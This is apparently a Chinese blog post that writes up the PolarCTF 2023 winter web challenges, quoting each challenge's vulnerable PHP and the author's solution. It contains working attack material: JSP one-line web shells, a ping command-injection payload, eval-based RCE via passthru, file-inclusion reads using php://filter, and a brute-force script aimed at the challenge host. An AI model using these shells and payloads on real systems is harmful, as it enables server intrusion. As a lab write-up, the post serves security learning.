目录

  1. 1. 前言
  2. 2. Web
    1. 2.1. cookie欺骗
    2. 2.2. upload
    3. 2.3. 干正则
    4. 2.4. cool
    5. 2.5. 你的马呢?
      1. 2.5.1. jsp
    6. 2.6. ezphp
    7. 2.7. 随机值(未完成)
    8. 2.8. phpurl
    9. 2.9. 苦海

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

PolarCTF 2023冬季赛

2023/12/9 CTF线上赛
  |     |   总文章阅读量:

前言

试图一小时速通失败(

累了,不想做了

Web

cookie欺骗

改cookie

进入题目,告诉我们只有admin用户才能得到flag

在cookie里发现user参数

cookie值改为user=admin即可


upload

文件上传

f12在html源码中发现hint:?action=show_code

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
 
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = str_ireplace($deny_ext,"", $file_name);
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = UPLOAD_PATH.'/'.rand(10000,99999).$file_name;        
        if (move_uploaded_file($temp_file, $img_path)) {
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

过滤了常见的马的后缀,但是过滤方式用的是替换

所以可以直接双写绕过:1.pphphp

然后就getshell了


干正则

ping命令注入

<?php
error_reporting(0);
if (empty($_GET['id'])) {
    show_source(__FILE__);
    die();
} else {
    include 'flag.php';
    $a = "www.baidu.com";
    $result = "";
    $id = $_GET['id'];
    @parse_str($id);
    echo $a[0];
    if ($a[0] == 'www.polarctf.com') {
        $ip = $_GET['cmd'];
        if (preg_match('/flag\.php/', $ip)) {
            die("don't show flag!!!");
        }

        $result .= shell_exec('ping -c 2 ' . $a[0] . $ip);
        if ($result) {
            echo "<pre>{$result}</pre>";
        }
    } else {
        exit('其实很简单!');
    }
} 

parse_str能将字符串解析成多个变量,所以我们可以传入id=a[0]=www.polarctf.com

然后就是经典的ping命令注入,正则用通配符绕过即可

payload:

?id=a[0]=www.polarctf.com&cmd=;tac f*;

cool

rce

<?php
if(isset($_GET['a'])){
    $a = $_GET['a'];
    if(is_numeric($a)){
        echo "no";
    }
    if(!preg_match("/flag|system|php/i", $a)){
        eval($a);
    }
}else{
    highlight_file(__FILE__);
}
?>

system被ban了,可以用passthru

然后通配符来了全秒了

payload:

?a=passthru('cat f*');

你的马呢?

jsp文件上传

上传图片马,发现会检测内容

尝试短标签绕过,成功上传png

接下来就是后缀绕过,不让我们上传php,尝试phtml,返回phtml恶意后缀,试试.jsp呢?

jsp

全称Java Server Pages,是一种动态网页开发技术。它使用JSP标签在HTML网页中插入Java代码。标签通常以<%开头以%>结束。

一句话木马:

无回显:

<%Runtime.getRuntime().exec(request.getParameter("p"));%>

有回显(带密码验证):

<% if("0w0".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); } %>

但是这并不是这题的重点,因为这题根本不解析jsp

所以猜测只要让后缀带jsp即可,把马改为1.php.jsp

image-20231209203818332

然后访问,成功getshell


ezphp

文件上传+文件包含

进入题目,告诉我们网站漏洞暴露给爬虫了

直接访问robots.txt

发现三个路由:

Disallow: /file
Disallow: /uploads
Disallow: /uploads/images

访问/file,打开file.php

 <?php
/*
PolarD&N CTF
*/
highlight_file('file.php');
$filename = $_GET['filename'];
@include $filename;
?> 

存在文件包含

访问/upload,打开upload.php

给了个文件上传的功能

我们可以用文件包含读一下upload.php

/file/file.php?filename=php://filter/read=convert.base64-encode/resource=../uploads/upload.php

upload.php:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>File Upload</title>
</head>
<body>

<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // 检查文件是否上传成功
    if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) {
        // 定义允许上传的文件类型
        $allowed_extensions = array("jpg", "jpeg", "png", "gif");

        // 获取上传文件的文件名和扩展名
        $filename = $_FILES['file']['name'];
        $file_extension = pathinfo($filename, PATHINFO_EXTENSION);

        // 检查文件扩展名是否在允许的列表中
        if (in_array(strtolower($file_extension), $allowed_extensions)) {
            // 确定存储上传文件的目录
            $upload_directory = './images/';

            // 确保目录存在,如果不存在则创建
            if (!is_dir($upload_directory)) {
                mkdir($upload_directory, 0777, true);
            }

            // 构造上传文件的完整路径
            $upload_path = $upload_directory . $filename;

            // 移动文件到指定目录
            if (move_uploaded_file($_FILES['file']['tmp_name'], $upload_path)) {
                echo '<p>文件上传成功!</p>';
            } else {
                echo '<p>文件上传失败。</p>';
            }
        } else {
            echo '<p>不允许上传该类型的文件。</p>';
        }
    } else {
        echo '<p>文件上传失败。</p>';
    }
}
?>

<form action="" method="post" enctype="multipart/form-data">
    <label for="file">选择文件:</label>
    <input type="file" name="file" id="file" accept=".jpg, .jpeg, .png, .gif" required>
    <br>
    <input type="submit" value="上传文件">
</form>

</body>
</html>

后缀名是白名单检测

我们直接上传图片马1.png,然后用文件包含getshell

image-20231209210732831

flag在/home/webuser/flag


随机值(未完成)

<?php
include "flag.php";
class Index{
    private $Polar1;
    private $Polar2;
    protected $Night;
    protected $Light;

    function getflag($flag){
        $Polar2 = rand(0,100);
        if($this->Polar1 === $this->Polar2){
            $Light = rand(0,100);
            if($this->Night === $this->Light){
                echo $flag;
            }
        }
        else{
            echo "Your wrong!!!";
        }
    }
}
if(isset($_GET['sys'])){
    $a = unserialize($_GET['sys']);
    $a->getflag($flag);
}
else{
    highlight_file("index.php");
}
?> 

随机数0到100,爆就完事了

但是我没爆出来。。。

import requests
from tqdm import *
url = "http://7ff050aa-ee73-491c-9ae4-fdbe11d84a78.www.polarctf.com:8090/?sys="  # 替换为目标URL的基本部分

# 定义要爆破的数值范围
start_value = 1
end_value = 99

for value1 in trange(start_value, end_value + 1):
    for value2 in range(start_value, end_value + 1):
        target_url = f"O%3A5%3A%22Index%22%3A4%3A%7Bs%3A13%3A%22%00Index%00Polar1%22%3Bi%3A{value1}%3Bs%3A13%3A%22%00Index%00Polar2%22%3BN%3Bs%3A8%3A%22%00%2A%00Night%22%3Bi%3A{value2}%3Bs%3A8%3A%22%00%2A%00Light%22%3BN%3B%7D"
        response = requests.get(url + target_url)
        #print(response.text)
        if "wrong" not in response.text:
            print(f"{value1},{value2}")
            print(response.text)
            break

phpurl

url编码

下载附件,base64解码一下得到hint:index.phps

访问index.phps

<?php
if("xxs"===$_GET[sys]) {
  echo("<p>Not a good idea!</p>");
  exit();
}

$_GET[sys] = urldecode($_GET[sys]);
if($_GET[sys] == "xxs")
{
  echo "<p>Welcome to polar LABS!</p>";
  echo "<p>Flag: XXXXXXX </p>";
} 

逻辑很简单,只要sys的url解码结果等于xxs即可

那么对xxs进行两次url编码即可,因为浏览器自己也会解码一次

payload:

?sys=%2578%2578%2573

苦海

<?php
/*
PolarD&N CTF
*/
error_reporting(1);

class User
{
    public $name = 'PolarNight';
    public $flag = 'syst3m("rm -rf ./*");';

    public function __construct()
    {
        echo "删库跑路,蹲监狱~";
    }

    public function printName()
    {
        echo $this->name;
        return 'ok';
    }

    public function __wakeup()
    {
        echo "hi, Welcome to Polar D&N ~ ";
        $this->printName();
    }

    public function __get($cc)
    {
        echo "give you flag : " . $this->flag;
    }
}

class Surrender
{
    private $phone = 110;
    public $promise = '遵纪守法,好公民~';

    public function __construct()
    {
        $this->promise = '苦海无涯,回头是岸!';
        return $this->promise;
    }

    public function __toString()
    {
        return $this->file['filename']->content['title'];
    }
}

class FileRobot
{
    public $filename = 'flag.php';
    public $path;

    public function __get($name)
    {
        $function = $this->path;
        return $function();
    }

    public function Get_file($file)
    {
        $hint = base64_encode(file_get_contents($file));
        echo $hint;
    }

    public function __invoke()
    {
        $content = $this->Get_file($this->filename);
        echo $content;
    }
}

if (isset($_GET['user'])) {
    unserialize($_GET['user']);
} else {
    $hi = new  User();
    highlight_file(__FILE__);
}

链子:User::__get -> Surrender::__toString -> FileRobot::__get -> FileRobot::__invoke -> FileRobot::Get_file

累了,不想做了